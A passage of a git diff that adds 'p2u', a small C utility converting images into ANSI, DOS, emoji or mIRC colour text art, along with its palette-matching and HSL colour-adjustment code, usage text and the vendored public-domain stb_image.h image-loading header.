+		for (int i = 0; i < 16; i++) {
+			if (DIST(pixel, vga_palette[i]) < delta) {
+				delta = DIST(pixel, vga_palette[i]);
+				color = i;
+			}
+		}
+	} else { /* XIRC_PAL */
+		for (int i = 0; i < 99; i++) {
+			if (DIST(pixel, xirc_palette[i]) < delta) {
+				delta = DIST(pixel, xirc_palette[i]);
+				color = i;
+			}
+		}
+	}
+	return color;
+}
+
+double
+huetorgb(double p, double q, double t)
+{
+	if (t < 0.0f) {
+		t += 1.0f;
+	} else if (t > 1.0f) {
+		t -= 1.0f;
+	}
+
+	if (t < 1.0f/6.0f) {
+		return p + (q - p) * 6.0f * t;
+	}
+
+	if (t < 0.5f) {
+		return q;
+	}
+
+	if (t < 2.0f/3.0f) {
+		return p + (q - p) * ((2.0f/3.0f) - t) * 6.0f;
+	}
+	return p;
+}
+
+/* sat and lum are percentages */
+void
+tweak(float *pixel, float sat, float lum)
+{
+	/* convert rgb to hsl */
+	float r = pixel[R];
+	float g = pixel[G];
+	float b = pixel[B];
+
+	float max = r > g ? r > b ? r : b : g > b ? g : b;
+	float min = r < g ? r < b ? r : b : g < b ? g : b;
+
+	float h = (min + max) / 2.0f;
+	float s = (min + max) / 2.0f;
+	float l = (min + max) / 2.0f;
+
+	float d = max - min;
+
+	float q = 0.0f;
+	float p = 0.0f;
+
+	if (max == min) {
+		s = l = 0.0f;
+	} else {
+		s = l > 0.5f ? d / (2.0f - max - min) : d / (max + min);
+		if (max == r) {
+			h = (g - b) / d + (g < b ? 6.0f : 0.0f);
+		} else if (max == g) {
+			h = (b - r) / d + 2.0f;
+		} else { /* max == b */
+			h = (r - g) / d + 4.0f;
+		}
+	}
+	h /= 6.0f;
+
+	/* apply tweaks */
+	s *= sat * 0.01f;
+	l *= lum * 0.01f;
+
+	/* convert from hsl to rgb */
+	if (s == 0.0f) {
+		r = g = b = l;
+	} else {
+		q = l < 0.5f ? l * (1.0f + s) : l + s - l * s;
+		p = 2 * l - q;
+		r = huetorgb(p, q, h + 1.0f/3.0f);
+		g = huetorgb(p, q, h);
+		b = huetorgb(p, q, h - 1.0f/3.0f);
+	}
+
+	/* clamp values */
+	pixel[R] = r < 0.0f ? 0.0f : r > 1.0f ? 1.0f : r;
+	pixel[G] = g < 0.0f ? 0.0f : g > 1.0f ? 1.0f : g;
+	pixel[B] = b < 0.0f ? 0.0f : b > 1.0f ? 1.0f : b;
+}
+
+void
+usage(void)
+{
+	fprintf(stderr, "usage: p2u [options] input\n");
+	fprintf(stderr, "\n");
+	fprintf(stderr, "-b percent     Adjust brightness levels, default is 100.\n");
+	fprintf(stderr, "-f a|d|e|m     Specify output format ANSI, DOS (ANSI with\n");
+	fprintf(stderr, "               CP437 characters), emoji or mirc.  Default is ANSI.\n");
+	fprintf(stderr, "-p m|v|x       Specify palette to use, mirc, VGA, or extended mirc,\n");
+	fprintf(stderr, "               default is VGA.\n");
+	fprintf(stderr, "-s percent     Adjust saturation levels, default is 100.\n");
+	fprintf(stderr, "-t percent     Adjust transparency threshold of alpha channel,\n");
+	fprintf(stderr, "               default is 50.\n");
+	fprintf(stderr, "-w width       Specify output width, default is the image width.\n");
+	fprintf(stderr, "\n");
+	exit(1);
+}
diff --git a/art/p2u/screenshot.png b/art/p2u/screenshot.png
new file mode 100644
index 0000000..ffa3f66
Binary files /dev/null and b/art/p2u/screenshot.png differ
diff --git a/art/p2u/stb_image.h b/art/p2u/stb_image.h
new file mode 100644
index 0000000..d9c21bc
--- /dev/null
+++ b/art/p2u/stb_image.h
@@ -0,0 +1,7462 @@
+/* stb_image - v2.19 - public domain image loader - http://nothings.org/stb
+                                  no warranty implied; use at your own risk
+
+   Do this:
+      #define STB_IMAGE_IMPLEMENTATION
+   before you include this file in *one* C or C++ file to create the implementation.
+
+   // i.e. it should look like this:
+   #include ...
+   #include ...
+   #include ...
+   #define STB_IMAGE_IMPLEMENTATION
+   #include "stb_image.h"
+
+   You can #define STBI_ASSERT(x) before the #include to avoid using assert.h.
+   And #define STBI_MALLOC, STBI_REALLOC, and STBI_FREE to avoid using malloc,realloc,free
+
+
+   QUICK NOTES:
+      Primarily of interest to game developers and other people who can
+          avoid problematic images and only need the trivial interface
+
+      JPEG baseline & progressive (12 bpc/arithmetic not supported, same as stock IJG lib)
+      PNG 1/2/4/8/16-bit-per-channel
+
+      TGA (not sure what subset, if a subset)
+      BMP non-1bpp, non-RLE
+      PSD (composited view only, no extra channels, 8/16 bit-per-channel)
+
+      GIF (*comp always reports as 4-channel)
+      HDR (radiance rgbE format)
+      PIC (Softimage PIC)
+      PNM (PPM and PGM binary only)
+
+      Animated GIF still needs a proper API, but here's one way to do it:
+          http://gist.github.com/urraka/685d9a6340b26b830d49
+
+      - decode from memory or through FILE (define STBI_NO_STDIO to remove code)
+      - decode from arbitrary I/O callbacks
+      - SIMD acceleration on x86/x64 (SSE2) and ARM (NEON)
+
+   Full documentation under "DOCUMENTATION" below.
+
+
+LICENSE
+
+  See end of file for license information.
+
+RECENT REVISION HISTORY:
+
+      2.19  (2018-02-11) fix warning
+      2.18  (2018-01-30) fix warnings
+      2.17  (2018-01-29) bugfix, 1-bit BMP, 16-bitness query, fix warnings
+      2.16  (2017-07-23) all functions have 16-bit variants; optimizations; bugfixes
+      2.15  (2017-03-18) fix png-1,2,4; all Imagenet JPGs; no runtime SSE detection on GCC
+      2.14  (2017-03-03) remove deprecated STBI_JPEG_OLD; fixes for Imagenet JPGs
+      2.13  (2016-12-04) experimental 16-bit API, only for PNG so far; fixes
+      2.12  (2016-04-02) fix typo in 2.11 PSD fix that caused crashes
+      2.11  (2016-04-02) 16-bit PNGS; enable SSE2 in non-gcc x64
+                         RGB-format JPEG; remove white matting in PSD;
+                         allocate large structures on the stack;
+                         correct channel count for PNG & BMP
+      2.10  (2016-01-22) avoid warning introduced in 2.09
+      2.09  (2016-01-16) 16-bit TGA; comments in PNM files; STBI_REALLOC_SIZED
+
+   See end of file for full revision history.
+
+
+ ============================    Contributors    =========================
+
+ Image formats                          Extensions, features
+    Sean Barrett (jpeg, png, bmp)          Jetro Lauha (stbi_info)
+    Nicolas Schulz (hdr, psd)              Martin "SpartanJ" Golini (stbi_info)
+    Jonathan Dummer (tga)                  James "moose2000" Brown (iPhone PNG)
+    Jean-Marc Lienher (gif)                Ben "Disch" Wenger (io callbacks)
+    Tom Seddon (pic)                       Omar Cornut (1/2/4-bit PNG)
+    Thatcher Ulrich (psd)                  Nicolas Guillemot (vertical flip)
+    Ken Miller (pgm, ppm)                  Richard Mitton (16-bit PSD)
+    github:urraka (animated gif)           Junggon Kim (PNM comments)
+    Christopher Forseth (animated gif)     Daniel Gibson (16-bit TGA)
+                                           socks-the-fox (16-bit PNG)
+                                           Jeremy Sawicki (handle all ImageNet JPGs)
+ Optimizations & bugfixes                  Mikhail Morozov (1-bit BMP)
+    Fabian "ryg" Giesen                    Anael Seghezzi (is-16-bit query)
+    Arseny Kapoulkine
+    John-Mark Allen
+
+ Bug & warning fixes
+    Marc LeBlanc            David Woo          Guillaume George   Martins Mozeiko
+    Christpher Lloyd        Jerry Jansson      Joseph Thomson     Phil Jordan
+    Dave Moore              Roy Eltham         Hayaki Saito       Nathan Reed
+    Won Chun                Luke Graham        Johan Duparc       Nick Verigakis
+    the Horde3D community   Thomas Ruf         Ronny Chevalier    github:rlyeh
+    Janez Zemva             John Bartholomew   Michal Cichon      github:romigrou
+    Jonathan Blow           Ken Hamada         Tero Hanninen      github:svdijk
+    Laurent Gomila          Cort Stratton      Sergio Gonzalez    github:snagar
+    Aruelien Pocheville     Thibault Reuille   Cass Everitt       github:Zelex
+    Ryamond Barbiero        Paul Du Bois       Engin Manap        github:grim210
+    Aldo Culquicondor       Philipp Wiesemann  Dale Weiler        github:sammyhw
+    Oriol Ferrer Mesia      Josh Tobin         Matthew Gregan     github:phprus
+    Julian Raschke          Gregory Mullen     Baldur Karlsson    github:poppolopoppo
+    Christian Floisand      Kevin Schmidt                         github:darealshinji
+    Blazej Dariusz Roszkowski                                     github:Michaelangel007
+*/
+
+#ifndef STBI_INCLUDE_STB_IMAGE_H
+#define STBI_INCLUDE_STB_IMAGE_H
+
+// DOCUMENTATION
+//
+// Limitations:
+//    - no 12-bit-per-channel JPEG
+//    - no JPEGs with arithmetic coding
+//    - GIF always returns *comp=4
+//
+// Basic usage (see HDR discussion below for HDR usage):
+//    int x,y,n;
+//    unsigned char *data = stbi_load(filename, &x, &y, &n, 0);
+//    // ... process data if not NULL ...
+//    // ... x = width, y = height, n = # 8-bit components per pixel ...
+//    // ... replace '0' with '1'..'4' to force that many components per pixel
+//    // ... but 'n' will always be the number that it would have been if you said 0
+//    stbi_image_free(data)
+//
+// Standard parameters:
+//    int *x                 -- outputs image width in pixels
+//    int *y                 -- outputs image height in pixels
+//    int *channels_in_file  -- outputs # of image components in image file
+//    int desired_channels   -- if non-zero, # of image components requested in result
+//
+// The return value from an image loader is an 'unsigned char *' which points
+// to the pixel data, or NULL on an allocation failure or if the image is
+// corrupt or invalid. The pixel data consists of *y scanlines of *x pixels,
+// with each pixel consisting of N interleaved 8-bit components; the first
+// pixel pointed to is top-left-most in the image. There is no padding between
+// image scanlines or between pixels, regardless of format. The number of
+// components N is 'desired_channels' if desired_channels is non-zero, or
+// *channels_in_file otherwise. If desired_channels is non-zero,
+// *channels_in_file has the number of components that _would_ have been
+// output otherwise. E.g. if you set desired_channels to 4, you will always
+// get RGBA output, but you can check *channels_in_file to see if it's trivially
+// opaque because e.g. there were only 3 channels in the source image.
+//
+// An output image with N components has the following components interleaved
+// in this order in each pixel:
+//
+//     N=#comp     components
+//       1           grey
+//       2           grey, alpha
+//       3           red, green, blue
+//       4           red, green, blue, alpha
+//
+// If image loading fails for any reason, the return value will be NULL,
+// and *x, *y, *channels_in_file will be unchanged. The function
+// stbi_failure_reason() can be queried for an extremely brief, end-user
+// unfriendly explanation of why the load failed. Define STBI_NO_FAILURE_STRINGS
+// to avoid compiling these strings at all, and STBI_FAILURE_USERMSG to get slightly
+// more user-friendly ones.
+//
+// Paletted PNG, BMP, GIF, and PIC images are automatically depalettized.
+//
+// ===========================================================================
+//
+// Philosophy
+//
+// stb libraries are designed with the following priorities:
+//
+//    1. easy to use
+//    2. easy to maintain
+//    3. good performance
+//
+// Sometimes I let "good performance" creep up in priority over "easy to maintain",
+// and for best performance I may provide less-easy-to-use APIs that give higher
+// performance, in addition to the easy to use ones. Nevertheless, it's important
+// to keep in mind that from the standpoint of you, a client of this library,
+// all you care about is #1 and #3, and stb libraries DO NOT emphasize #3 above all.
+//
+// Some secondary priorities arise directly from the first two, some of which
+// make more explicit reasons why performance can't be emphasized.
+//
+//    - Portable ("ease of use")
+//    - Small source code footprint ("easy to maintain")
+//    - No dependencies ("ease of use")
+//
+// ===========================================================================
+//
+// I/O callbacks
+//
+// I/O callbacks allow you to read from arbitrary sources, like packaged
+// files or some other source. Data read from callbacks are processed
+// through a small internal buffer (currently 128 bytes) to try to reduce
+// overhead.
+//
+// The three functions you must define are "read" (reads some bytes of data),
+// "skip" (skips some bytes of data), "eof" (reports if the stream is at the end).
+//
+// ===========================================================================
+//
+// SIMD support
+//
+// The JPEG decoder will try to automatically use SIMD kernels on x86 when
+// supported by the compiler. For ARM Neon support, you must explicitly
+// request it.
+//
+// (The old do-it-yourself SIMD API is no longer supported in the current
+// code.)
+//
+// On x86, SSE2 will automatically be used when available based on a run-time
+// test; if not, the generic C versions are used as a fall-back. On ARM targets,
+// the typical path is to have separate builds for NEON and non-NEON devices
+// (at least this is true for iOS and Android). Therefore, the NEON support is
+// toggled by a build flag: define STBI_NEON to get NEON loops.
+//
+// If for some reason you do not want to use any of SIMD code, or if
+// you have issues compiling it, you can disable it entirely by
+// defining STBI_NO_SIMD.
+//
+// ===========================================================================
+//
+// HDR image support   (disable by defining STBI_NO_HDR)
+//
+// stb_image now supports loading HDR images in general, and currently
+// the Radiance .HDR file format, although the support is provided
+// generically. You can still load any file through the existing interface;
+// if you attempt to load an HDR file, it will be automatically remapped to
+// LDR, assuming gamma 2.2 and an arbitrary scale factor defaulting to 1;
+// both of these constants can be reconfigured through this interface:
+//
+//     stbi_hdr_to_ldr_gamma(2.2f);
+//     stbi_hdr_to_ldr_scale(1.0f);
+//
+// (note, do not use _inverse_ constants; stbi_image will invert them
+// appropriately).
+//
+// Additionally, there is a new, parallel interface for loading files as
+// (linear) floats to preserve the full dynamic range:
+//
+//    float *data = stbi_loadf(filename, &x, &y, &n, 0);
+//
+// If you load LDR images through this interface, those images will
+// be promoted to floating point values, run through the inverse of
+// constants corresponding to the above:
+//
+//     stbi_ldr_to_hdr_scale(1.0f);
+//     stbi_ldr_to_hdr_gamma(2.2f);
+//
+// Finally, given a filename (or an open file or memory block--see header
+// file for details) containing image data, you can query for the "most
+// appropriate" interface to use (that is, whether the image is HDR or
+// not), using:
+//
+//     stbi_is_hdr(char *filename);
+//
+// ===========================================================================
+//
+// iPhone PNG support:
+//
+// By default we convert iphone-formatted PNGs back to RGB, even though
+// they are internally encoded differently. You can disable this conversion
+// by by calling stbi_convert_iphone_png_to_rgb(0), in which case
+// you will always just get the native iphone "format" through (which
+// is BGR stored in RGB).
+//
+// Call stbi_set_unpremultiply_on_load(1) as well to force a divide per
+// pixel to remove any premultiplied alpha *only* if the image file explicitly
+// says there's premultiplied data (currently only happens in iPhone images,
+// and only if iPhone convert-to-rgb processing is on).
+//
+// ===========================================================================
+//
+// ADDITIONAL CONFIGURATION
+//
+//  - You can suppress implementation of any of the decoders to reduce
+//    your code footprint by #defining one or more of the following
+//    symbols before creating the implementation.
+//
+//        STBI_NO_JPEG
+//        STBI_NO_PNG
+//        STBI_NO_BMP
+//        STBI_NO_PSD
+//        STBI_NO_TGA
+//        STBI_NO_GIF
+//        STBI_NO_HDR
+//        STBI_NO_PIC
+//        STBI_NO_PNM   (.ppm and .pgm)
+//
+//  - You can request *only* certain decoders and suppress all other ones
+//    (this will be more forward-compatible, as addition of new decoders
+//    doesn't require you to disable them explicitly):
+//
+//        STBI_ONLY_JPEG
+//        STBI_ONLY_PNG
+//        STBI_ONLY_BMP
+//        STBI_ONLY_PSD
+//        STBI_ONLY_TGA
+//        STBI_ONLY_GIF
+//        STBI_ONLY_HDR
+//        STBI_ONLY_PIC
+//        STBI_ONLY_PNM   (.ppm and .pgm)
+//
+//   - If you use STBI_NO_PNG (or _ONLY_ without PNG), and you still
+//     want the zlib decoder to be available, #define STBI_SUPPORT_ZLIB
+//
+
+
+#ifndef STBI_NO_STDIO
+#include <stdio.h>
+#endif // STBI_NO_STDIO
+
+#define STBI_VERSION 1
+
+enum
+{
+   STBI_default = 0, // only used for desired_channels
+
+   STBI_grey       = 1,
+   STBI_grey_alpha = 2,
+   STBI_rgb        = 3,
+   STBI_rgb_alpha  = 4
+};
+
+typedef unsigned char stbi_uc;
+typedef unsigned short stbi_us;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifdef STB_IMAGE_STATIC
+#define STBIDEF static
+#else
+#define STBIDEF extern
+#endif
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// PRIMARY API - works on images of any type
+//
+
+//
+// load image by filename, open file, or memory buffer
+//
+
+typedef struct
+{
+   int      (*read)  (void *user,char *data,int size);   // fill 'data' with 'size' bytes.  return number of bytes actually read
+   void     (*skip)  (void *user,int n);                 // skip the next 'n' bytes, or 'unget' the last -n bytes if negative
+   int      (*eof)   (void *user);                       // returns nonzero if we are at end of file/data
+} stbi_io_callbacks;
+
+////////////////////////////////////
+//
+// 8-bits-per-channel interface
+//
+
+STBIDEF stbi_uc *stbi_load_from_memory   (stbi_uc           const *buffer, int len   , int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_uc *stbi_load_from_callbacks(stbi_io_callbacks const *clbk  , void *user, int *x, int *y, int *channels_in_file, int desired_channels);
+#ifndef STBI_NO_GIF
+STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp);
+#endif
+
+
+#ifndef STBI_NO_STDIO
+STBIDEF stbi_uc *stbi_load            (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_uc *stbi_load_from_file  (FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+// for stbi_load_from_file, file pointer is left pointing immediately after image
+#endif
+
+////////////////////////////////////
+//
+// 16-bits-per-channel interface
+//
+
+STBIDEF stbi_us *stbi_load_16_from_memory   (stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_us *stbi_load_16_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *channels_in_file, int desired_channels);
+
+#ifndef STBI_NO_STDIO
+STBIDEF stbi_us *stbi_load_16          (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_us *stbi_load_from_file_16(FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+#endif
+
+////////////////////////////////////
+//
+// float-per-channel interface
+//
+#ifndef STBI_NO_LINEAR
+   STBIDEF float *stbi_loadf_from_memory     (stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels);
+   STBIDEF float *stbi_loadf_from_callbacks  (stbi_io_callbacks const *clbk, void *user, int *x, int *y,  int *channels_in_file, int desired_channels);
+
+   #ifndef STBI_NO_STDIO
+   STBIDEF float *stbi_loadf            (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+   STBIDEF float *stbi_loadf_from_file  (FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+   #endif
+#endif
+
+#ifndef STBI_NO_HDR
+   STBIDEF void   stbi_hdr_to_ldr_gamma(float gamma);
+   STBIDEF void   stbi_hdr_to_ldr_scale(float scale);
+#endif // STBI_NO_HDR
+
+#ifndef STBI_NO_LINEAR
+   STBIDEF void   stbi_ldr_to_hdr_gamma(float gamma);
+   STBIDEF void   stbi_ldr_to_hdr_scale(float scale);
+#endif // STBI_NO_LINEAR
+
+// stbi_is_hdr is always defined, but always returns false if STBI_NO_HDR
+STBIDEF int    stbi_is_hdr_from_callbacks(stbi_io_callbacks const *clbk, void *user);
+STBIDEF int    stbi_is_hdr_from_memory(stbi_uc const *buffer, int len);
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_is_hdr          (char const *filename);
+STBIDEF int      stbi_is_hdr_from_file(FILE *f);
+#endif // STBI_NO_STDIO
+
+
+// get a VERY brief reason for failure
+// NOT THREADSAFE
+STBIDEF const char *stbi_failure_reason  (void);
+
+// free the loaded image -- this is just free()
+STBIDEF void     stbi_image_free      (void *retval_from_stbi_load);
+
+// get image dimensions & components without fully decoding
+STBIDEF int      stbi_info_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp);
+STBIDEF int      stbi_info_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp);
+STBIDEF int      stbi_is_16_bit_from_memory(stbi_uc const *buffer, int len);
+STBIDEF int      stbi_is_16_bit_from_callbacks(stbi_io_callbacks const *clbk, void *user);
+
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_info               (char const *filename,     int *x, int *y, int *comp);
+STBIDEF int      stbi_info_from_file     (FILE *f,                  int *x, int *y, int *comp);
+STBIDEF int      stbi_is_16_bit          (char const *filename);
+STBIDEF int      stbi_is_16_bit_from_file(FILE *f);
+#endif
+
+
+
+// for image formats that explicitly notate that they have premultiplied alpha,
+// we just return the colors as stored in the file. set this flag to force
+// unpremultiplication. results are undefined if the unpremultiply overflow.
+STBIDEF void stbi_set_unpremultiply_on_load(int flag_true_if_should_unpremultiply);
+
+// indicate whether we should process iphone images back to canonical format,
+// or just pass them through "as-is"
+STBIDEF void stbi_convert_iphone_png_to_rgb(int flag_true_if_should_convert);
+
+// flip the image vertically, so the first pixel in the output array is the bottom left
+STBIDEF void stbi_set_flip_vertically_on_load(int flag_true_if_should_flip);
+
+// ZLIB client - used by PNG, available for other purposes
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize(const char *buffer, int len, int initial_size, int *outlen);
+STBIDEF char *stbi_zlib_decode_malloc_guesssize_headerflag(const char *buffer, int len, int initial_size, int *outlen, int parse_header);
+STBIDEF char *stbi_zlib_decode_malloc(const char *buffer, int len, int *outlen);
+STBIDEF int   stbi_zlib_decode_buffer(char *obuffer, int olen, const char *ibuffer, int ilen);
+
+STBIDEF char *stbi_zlib_decode_noheader_malloc(const char *buffer, int len, int *outlen);
+STBIDEF int   stbi_zlib_decode_noheader_buffer(char *obuffer, int olen, const char *ibuffer, int ilen);
+
+
+#ifdef __cplusplus
+}
+#endif
+
+//
+//
+////   end header file   /////////////////////////////////////////////////////
+#endif // STBI_INCLUDE_STB_IMAGE_H
+
+#ifdef STB_IMAGE_IMPLEMENTATION
+
+#if defined(STBI_ONLY_JPEG) || defined(STBI_ONLY_PNG) || defined(STBI_ONLY_BMP) \
+  || defined(STBI_ONLY_TGA) || defined(STBI_ONLY_GIF) || defined(STBI_ONLY_PSD) \
+  || defined(STBI_ONLY_HDR) || defined(STBI_ONLY_PIC) || defined(STBI_ONLY_PNM) \
+  || defined(STBI_ONLY_ZLIB)
+   #ifndef STBI_ONLY_JPEG
+   #define STBI_NO_JPEG
+   #endif
+   #ifndef STBI_ONLY_PNG
+   #define STBI_NO_PNG
+   #endif
+   #ifndef STBI_ONLY_BMP
+   #define STBI_NO_BMP
+   #endif
+   #ifndef STBI_ONLY_PSD
+   #define STBI_NO_PSD
+   #endif
+   #ifndef STBI_ONLY_TGA
+   #define STBI_NO_TGA
+   #endif
+   #ifndef STBI_ONLY_GIF
+   #define STBI_NO_GIF
+   #endif
+   #ifndef STBI_ONLY_HDR
+   #define STBI_NO_HDR
+   #endif
+   #ifndef STBI_ONLY_PIC
+   #define STBI_NO_PIC
+   #endif
+   #ifndef STBI_ONLY_PNM
+   #define STBI_NO_PNM
+   #endif
+#endif
+
+#if defined(STBI_NO_PNG) && !defined(STBI_SUPPORT_ZLIB) && !defined(STBI_NO_ZLIB)
+#define STBI_NO_ZLIB
+#endif
+
+
+#include <stdarg.h>
+#include <stddef.h> // ptrdiff_t on osx
+#include <stdlib.h>
+#include <string.h>
+#include <limits.h>
+
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR)
+#include <math.h>  // ldexp, pow
+#endif
+
+#ifndef STBI_NO_STDIO
+#include <stdio.h>
+#endif
+
+#ifndef STBI_ASSERT
+#include <assert.h>
+#define STBI_ASSERT(x) assert(x)
+#endif
+
+
+#ifndef _MSC_VER
+   #ifdef __cplusplus
+   #define stbi_inline inline
+   #else
+   #define stbi_inline
+   #endif
+#else
+   #define stbi_inline __forceinline
+#endif
+
+
+#ifdef _MSC_VER
+typedef unsigned short stbi__uint16;
+typedef   signed short stbi__int16;
+typedef unsigned int   stbi__uint32;
+typedef   signed int   stbi__int32;
+#else
+#include <stdint.h>
+typedef uint16_t stbi__uint16;
+typedef int16_t  stbi__int16;
+typedef uint32_t stbi__uint32;
+typedef int32_t  stbi__int32;
+#endif
+
+// should produce compiler error if size is wrong
+typedef unsigned char validate_uint32[sizeof(stbi__uint32)==4 ? 1 : -1];
+
+#ifdef _MSC_VER
+#define STBI_NOTUSED(v)  (void)(v)
+#else
+#define STBI_NOTUSED(v)  (void)sizeof(v)
+#endif
+
+#ifdef _MSC_VER
+#define STBI_HAS_LROTL
+#endif
+
+#ifdef STBI_HAS_LROTL
+   #define stbi_lrot(x,y)  _lrotl(x,y)
+#else
+   #define stbi_lrot(x,y)  (((x) << (y)) | ((x) >> (32 - (y))))
+#endif
+
+#if defined(STBI_MALLOC) && defined(STBI_FREE) && (defined(STBI_REALLOC) || defined(STBI_REALLOC_SIZED))
+// ok
+#elif !defined(STBI_MALLOC) && !defined(STBI_FREE) && !defined(STBI_REALLOC) && !defined(STBI_REALLOC_SIZED)
+// ok
+#else
+#error "Must define all or none of STBI_MALLOC, STBI_FREE, and STBI_REALLOC (or STBI_REALLOC_SIZED)."
+#endif
+
+#ifndef STBI_MALLOC
+#define STBI_MALLOC(sz)           malloc(sz)
+#define STBI_REALLOC(p,newsz)     realloc(p,newsz)
+#define STBI_FREE(p)              free(p)
+#endif
+
+#ifndef STBI_REALLOC_SIZED
+#define STBI_REALLOC_SIZED(p,oldsz,newsz) STBI_REALLOC(p,newsz)
+#endif
+
+// x86/x64 detection
+#if defined(__x86_64__) || defined(_M_X64)
+#define STBI__X64_TARGET
+#elif defined(__i386) || defined(_M_IX86)
+#define STBI__X86_TARGET
+#endif
+
+#if defined(__GNUC__) && defined(STBI__X86_TARGET) && !defined(__SSE2__) && !defined(STBI_NO_SIMD)
+// gcc doesn't support sse2 intrinsics unless you compile with -msse2,
+// which in turn means it gets to use SSE2 everywhere. This is unfortunate,
+// but previous attempts to provide the SSE2 functions with runtime
+// detection caused numerous issues. The way architecture extensions are
+// exposed in GCC/Clang is, sadly, not really suited for one-file libs.
+// New behavior: if compiled with -msse2, we use SSE2 without any
+// detection; if not, we don't use it at all.
+#define STBI_NO_SIMD
+#endif
+
+#if defined(__MINGW32__) && defined(STBI__X86_TARGET) && !defined(STBI_MINGW_ENABLE_SSE2) && !defined(STBI_NO_SIMD)
+// Note that __MINGW32__ doesn't actually mean 32-bit, so we have to avoid STBI__X64_TARGET
+//
+// 32-bit MinGW wants ESP to be 16-byte aligned, but this is not in the
+// Windows ABI and VC++ as well as Windows DLLs don't maintain that invariant.
+// As a result, enabling SSE2 on 32-bit MinGW is dangerous when not
+// simultaneously enabling "-mstackrealign".
+//
+// See https://github.com/nothings/stb/issues/81 for more information.
+//
+// So default to no SSE2 on 32-bit MinGW. If you've read this far and added
+// -mstackrealign to your build settings, feel free to #define STBI_MINGW_ENABLE_SSE2.
+#define STBI_NO_SIMD
+#endif
+
+#if !defined(STBI_NO_SIMD) && (defined(STBI__X86_TARGET) || defined(STBI__X64_TARGET))
+#define STBI_SSE2
+#include <emmintrin.h>
+
+#ifdef _MSC_VER
+
+#if _MSC_VER >= 1400  // not VC6
+#include <intrin.h> // __cpuid
+static int stbi__cpuid3(void)
+{
+   int info[4];
+   __cpuid(info,1);
+   return info[3];
+}
+#else
+static int stbi__cpuid3(void)
+{
+   int res;
+   __asm {
+      mov  eax,1
+      cpuid
+      mov  res,edx
+   }
+   return res;
+}
+#endif
+
+#define STBI_SIMD_ALIGN(type, name) __declspec(align(16)) type name
+
+static int stbi__sse2_available(void)
+{
+   int info3 = stbi__cpuid3();
+   return ((info3 >> 26) & 1) != 0;
+}
+#else // assume GCC-style if not VC++
+#define STBI_SIMD_ALIGN(type, name) type name __attribute__((aligned(16)))
+
+static int stbi__sse2_available(void)
+{
+   // If we're even attempting to compile this on GCC/Clang, that means
+   // -msse2 is on, which means the compiler is allowed to use SSE2
+   // instructions at will, and so are we.
+   return 1;
+}
+#endif
+#endif
+
+// ARM NEON
+#if defined(STBI_NO_SIMD) && defined(STBI_NEON)
+#undef STBI_NEON
+#endif
+
+#ifdef STBI_NEON
+#include <arm_neon.h>
+// assume GCC or Clang on ARM targets
+#define STBI_SIMD_ALIGN(type, name) type name __attribute__((aligned(16)))
+#endif
+
+#ifndef STBI_SIMD_ALIGN
+#define STBI_SIMD_ALIGN(type, name) type name
+#endif
+
+///////////////////////////////////////////////
+//
+//  stbi__context struct and start_xxx functions
+
+// stbi__context structure is our basic context used by all images, so it
+// contains all the IO context, plus some basic image information
+typedef struct
+{
+   stbi__uint32 img_x, img_y;
+   int img_n, img_out_n;
+
+   stbi_io_callbacks io;
+   void *io_user_data;
+
+   int read_from_callbacks;
+   int buflen;
+   stbi_uc buffer_start[128];
+
+   stbi_uc *img_buffer, *img_buffer_end;
+   stbi_uc *img_buffer_original, *img_buffer_original_end;
+} stbi__context;
+
+
+static void stbi__refill_buffer(stbi__context *s);
+
+// initialize a memory-decode context
+static void stbi__start_mem(stbi__context *s, stbi_uc const *buffer, int len)
+{
+   s->io.read = NULL;
+   s->read_from_callbacks = 0;
+   s->img_buffer = s->img_buffer_original = (stbi_uc *) buffer;
+   s->img_buffer_end = s->img_buffer_original_end = (stbi_uc *) buffer+len;
+}
+
+// initialize a callback-based context
+static void stbi__start_callbacks(stbi__context *s, stbi_io_callbacks *c, void *user)
+{
+   s->io = *c;
+   s->io_user_data = user;
+   s->buflen = sizeof(s->buffer_start);
+   s->read_from_callbacks = 1;
+   s->img_buffer_original = s->buffer_start;
+   stbi__refill_buffer(s);
+   s->img_buffer_original_end = s->img_buffer_end;
+}
+
+#ifndef STBI_NO_STDIO
+
+static int stbi__stdio_read(void *user, char *data, int size)
+{
+   return (int) fread(data,1,size,(FILE*) user);
+}
+
+static void stbi__stdio_skip(void *user, int n)
+{
+   fseek((FILE*) user, n, SEEK_CUR);
+}
+
+static int stbi__stdio_eof(void *user)
+{
+   return feof((FILE*) user);
+}
+
+static stbi_io_callbacks stbi__stdio_callbacks =
+{
+   stbi__stdio_read,
+   stbi__stdio_skip,
+   stbi__stdio_eof,
+};
+
+static void stbi__start_file(stbi__context *s, FILE *f)
+{
+   stbi__start_callbacks(s, &stbi__stdio_callbacks, (void *) f);
+}
+
+//static void stop_file(stbi__context *s) { }
+
+#endif // !STBI_NO_STDIO
+
+static void stbi__rewind(stbi__context *s)
+{
+   // conceptually rewind SHOULD rewind to the beginning of the stream,
+   // but we just rewind to the beginning of the initial buffer, because
+   // we only use it after doing 'test', which only ever looks at at most 92 bytes
+   s->img_buffer = s->img_buffer_original;
+   s->img_buffer_end = s->img_buffer_original_end;
+}
+
+enum
+{
+   STBI_ORDER_RGB,
+   STBI_ORDER_BGR
+};
+
+typedef struct
+{
+   int bits_per_channel;
+   int num_channels;
+   int channel_order;
